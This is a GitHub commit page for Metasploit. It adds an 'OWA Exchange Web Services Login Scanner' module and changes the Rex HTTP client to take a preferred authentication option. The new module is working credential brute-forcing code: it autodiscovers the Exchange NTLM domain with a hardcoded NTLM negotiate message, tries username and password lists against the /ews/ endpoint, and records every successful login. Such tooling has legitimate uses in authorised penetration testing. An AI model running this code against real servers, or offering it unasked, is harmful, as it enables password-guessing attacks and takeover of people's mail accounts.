Skip to content

Commit f735a90

Browse files
committed
create owa_ews_login module, modify HttpClient to accept preferred_auth option
1 parent b32f474 commit f735a90

File tree

3 files changed

+173
-7
lines changed

3 files changed

+173
-7
lines changed

Gemfile.lock

Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -246,6 +246,3 @@ DEPENDENCIES
246246
simplecov
247247
timecop
248248
yard
249-
250-
BUNDLED WITH
251-
1.11.2

lib/rex/proto/http/client.rb

Lines changed: 8 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -271,26 +271,30 @@ def send_auth(res, opts, t, persist)
271271

272272
return res if opts['username'].nil? or opts['username'] == ''
273273
supported_auths = res.headers['WWW-Authenticate']
274-
if supported_auths.include? 'Basic'
274+
275+
# if several providers are available, the client may want one in particular
276+
preferred_auth = opts['preferred_auth']
277+
278+
if supported_auths.include? 'Basic' and (preferred_auth.nil? or preferred_auth == 'Basic')
275279
opts['headers'] ||= {}
276280
opts['headers']['Authorization'] = basic_auth_header(opts['username'],opts['password'] )
277281
req = request_cgi(opts)
278282
res = _send_recv(req,t,persist)
279283
return res
280-
elsif supported_auths.include? "Digest"
284+
elsif supported_auths.include? "Digest" and (preferred_auth.nil? or preferred_auth == 'Digest')
281285
temp_response = digest_auth(opts)
282286
if temp_response.kind_of? Rex::Proto::Http::Response
283287
res = temp_response
284288
end
285289
return res
286-
elsif supported_auths.include? "NTLM"
290+
elsif supported_auths.include? "NTLM" and (preferred_auth.nil? or preferred_auth == 'NTLM')
287291
opts['provider'] = 'NTLM'
288292
temp_response = negotiate_auth(opts)
289293
if temp_response.kind_of? Rex::Proto::Http::Response
290294
res = temp_response
291295
end
292296
return res
293-
elsif supported_auths.include? "Negotiate"
297+
elsif supported_auths.include? "Negotiate" and (preferred_auth.nil? or preferred_auth == 'Negotiate')
294298
opts['provider'] = 'Negotiate'
295299
temp_response = negotiate_auth(opts)
296300
if temp_response.kind_of? Rex::Proto::Http::Response
Lines changed: 165 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,165 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/proto/ntlm/message'
8+
require 'rex/proto/http'
9+
require 'metasploit/framework/credential_collection'
10+
11+
class Metasploit3 < Msf::Auxiliary
12+
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::AuthBrute
15+
include Msf::Auxiliary::Scanner
16+
17+
def initialize
18+
super(
19+
'Name' => 'OWA Exchange Web Services (EWS) Login Scanner',
20+
'Description' => %q{
21+
This module attempts to log in to the Exchange Web Services, often
22+
exposed at https://owahost/ews/, using NTLM authentication. This method
23+
is faster and simpler than traditional form-based logins.
24+
},
25+
'Author' => 'Rich Whitcroft',
26+
'License' => MSF_LICENSE,
27+
'DefaultOptions' => { 'SSL' => true, 'VERBOSE' => false }
28+
)
29+
30+
register_options(
31+
[
32+
OptBool.new('AUTODISCOVER', [ false, "Automatically discover domain URI", true ]),
33+
OptString.new('AD_DOMAIN', [ false, "The Active Directory domain name", nil ]),
34+
OptString.new('TARGET_URI', [ false, "The location of the NTLM service", nil ]),
35+
OptInt.new('RPORT', [ true, "The target port", 443 ]),
36+
], self.class)
37+
end
38+
39+
def run_host(ip)
40+
cli = Rex::Proto::Http::Client.new(datastore['RHOSTS'], datastore['RPORT'], {}, datastore['SSL'], datastore['SSLVersion'], nil, '', '')
41+
cli.set_config({ 'preferred_auth' => 'NTLM' })
42+
cli.connect
43+
44+
domain = nil
45+
uri = nil
46+
47+
if datastore['AUTODISCOVER']
48+
domain, uri = autodiscover(cli)
49+
if domain and uri
50+
print_good("Found NTLM service at #{uri} for domain #{domain}.")
51+
else
52+
print_error("Failed to autodiscover - try manually")
53+
return
54+
end
55+
elsif datastore['AD_DOMAIN'] and datastore['TARGET_URI']
56+
domain = datastore['AD_DOMAIN']
57+
uri = datastore['TARGET_URI']
58+
uri << "/" unless uri.chars.last == "/"
59+
else
60+
print_error("You must set AD_DOMAIN and TARGET_URI if not using autodiscover.")
61+
return
62+
end
63+
64+
cli.set_config({ 'domain' => domain })
65+
66+
creds = Metasploit::Framework::CredentialCollection.new(
67+
blank_passwords: datastore['BLANK_PASSWORDS'],
68+
pass_file: datastore['PASS_FILE'],
69+
password: datastore['PASSWORD'],
70+
user_file: datastore['USER_FILE'],
71+
userpass_file: datastore['USERPASS_FILE'],
72+
username: datastore['USERNAME'],
73+
user_as_pass: datastore['USER_AS_PASS']
74+
)
75+
76+
creds.each do |cred|
77+
begin
78+
req = cli.request_raw({
79+
'uri' => uri,
80+
'method' => 'GET',
81+
'username' => cred.public,
82+
'password' => cred.private
83+
})
84+
85+
resp = cli.send_recv(req)
86+
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
87+
print_error("Connection failed")
88+
return
89+
end
90+
91+
if resp.code != 401
92+
print_brute :level => :good, :ip => ip, :msg => "Successful login: #{cred.to_s}"
93+
report_cred(
94+
ip: ip,
95+
port: datastore['RPORT'],
96+
service_name: 'owa_ews',
97+
user: cred.public,
98+
password: cred.private
99+
)
100+
101+
return if datastore['STOP_ON_SUCCESS']
102+
else
103+
vprint_brute :level => :verror, :ip => ip, :msg => "Failed login: #{cred.to_s}"
104+
end
105+
end
106+
end
107+
108+
def autodiscover(cli)
109+
uris = %w[ /ews/ /rpc/ /public/ ]
110+
uris.each do |u|
111+
begin
112+
req = cli.request_raw({
113+
'encode' => true,
114+
'uri' => u,
115+
'method' => 'GET',
116+
'headers' => {'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=='}
117+
})
118+
119+
res = cli.send_recv(req)
120+
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
121+
print_error("HTTP Connection Failed")
122+
next
123+
end
124+
125+
if not res
126+
print_error("HTTP Connection Timeout")
127+
next
128+
end
129+
130+
if res && res.code == 401 && res.headers.has_key?('WWW-Authenticate') && res.headers['WWW-Authenticate'].match(/^NTLM/i)
131+
hash = res['WWW-Authenticate'].split('NTLM ')[1]
132+
domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'')
133+
return domain, u
134+
end
135+
end
136+
137+
return nil, nil
138+
end
139+
140+
def report_cred(opts)
141+
service_data = {
142+
address: opts[:ip],
143+
port: opts[:port],
144+
service_name: opts[:service_name],
145+
protocol: 'tcp',
146+
workspace_id: myworkspace_id
147+
}
148+
149+
credential_data = {
150+
origin_type: :service,
151+
module_fullname: fullname,
152+
username: opts[:user],
153+
private_data: opts[:password],
154+
private_type: :password
155+
}.merge(service_data)
156+
157+
login_data = {
158+
core: create_credential(credential_data),
159+
last_attempted_at: DateTime.now,
160+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
161+
}.merge(service_data)
162+
163+
create_credential_login(login_data)
164+
end
165+
end

0 commit comments

Comments
 (0)